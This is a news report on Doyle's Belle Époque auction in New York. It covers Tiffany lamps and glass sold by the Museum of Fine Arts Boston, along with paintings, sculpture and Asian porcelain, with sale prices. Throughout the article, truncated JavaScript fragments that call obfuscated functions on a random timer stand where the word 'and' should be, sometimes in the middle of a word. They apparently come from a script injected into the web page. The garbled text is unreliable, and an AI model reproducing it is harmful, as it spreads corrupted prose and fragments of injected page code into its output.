By: Laura Beach

NEW YORK CITY — The Museum of Fine Arts Boston’s acquisition in late 2012 of a spectacular Tiffany Studios Dragonfly table lamp of about 1905–1910 set into motion a sequence of events that culminated at Doyle on September 23. The newly acquired lamp, which may be viewed on the museum’s website, has an exquisite enameled bronze vase inset with turtleback glass tiles andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a leaded Favrile glass shade from which the insets are pendant. Owned for a time by the American film producer Harvey Weinstein, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and later in the Louis C. Tiffany Garden Museum in Japan, the lamp was brokered to the MFA by Sotheby’s.

Partly to offset the cost of the acquisition, the MFA consigned 35 examples of Tiffany lighting andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and glass to Doyle, a distinct honor for the New York City auction house, said Doyle vice president Malcolm MacNeil, who organized the sale. In all, the MFA property exceeded high estimate to realize $300,219.

Leading the group was a leaded Favrile glass Dragonfly lamp designed by Clara Driscoll, circa 1906–13. Standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding 25¾ inches tall with a 20¼-inch-diameter shade, it exceeded estimate to bring $87,500.

 Two Pond Lily lamps — one, a 12-light floor lamp estimated at $35/40,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the other, a 12-light table lamp estimated at $20/30,000 — each brought $37,500. A Tiffany Studios lamp with a leaded glass “Pine Needle” shade sailed past its s$1,2/1,800 estimate to bring $31,250. A “Dogwood” table lamp left the room at $25,000.

Most coveted among the Tiffany Favrile glass vases from the MFA was a 7½-inch-tall example, $6,875, signed Louis C. Tiffany andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorated in an iridescent gold pattern of blossoms, stems andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other motifs.

From other consignors came an assortment of fine andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts of the Nineteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and early Twentieth Century. Topping the paintings group was a pair of Hans Zatzka (Austrian, 1859–1945) works, “Fluttering Butterflies” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Return from the Well,” $22,500; Louis Valtat’s (French, 1869–1952) 1922 “Couseuse,” $17,500; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Herman Herzog’s (German American, 1831–1932) “Seascape with Boats andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Figures on a Beach,” $10,625.

Sculpture included a 17¼-inch-tall bronze depicting a gorilla carrying off a woman, $28,125, cast from a model by the French artist Emmanuel Fremiet. The sculpture replicates the larger “Gorilla Dragging Away a Dead Negress,” introduced to sensation in 1859, when European interest in Primitivism was on the rise. Fremiet gave a reduced scale bronze of his second version of the sculpture to the National Gallery of Victoria, Melbourne, Australia, in 1907. One wonders if the US filmmaker Merian C. Cooper might have had Fremiet in mind when he made King Kong, released in 1933.

Also of note was a pair of late Nineteenth Century Italian Renaissance-style Majolica busts of Isabella D’Este andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Ippolito D’Este attributed to the Angelo Minghetti Manufactory, Bologna. Together with marble pedestals, they sold for $13,750. The same price was paid for a German silver figure, 19 inches tall, of a stag by Neresheimer of Hanau.

The Asian juggernaut continued, with Twentieth Century famille rose pieces bringing prices that would have seemed inconceivable just a few years ago. A pair of 56-inch-tall Rose Medallion palace vases fetched $31,250, while a 34½-inch-tall temple vase went for $15,000.

In all, Doyle’s Belle Époque auction realized $1,485,988 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was 83 percent sold by lot, 94 percent sold by value. Prices include buyer’s premium. Doyle’s next Belle Époque auction is planned for February.

Doyle New York is at 175 East 87th Street in New York. For information, 212-427-2730 or www.doyle.com.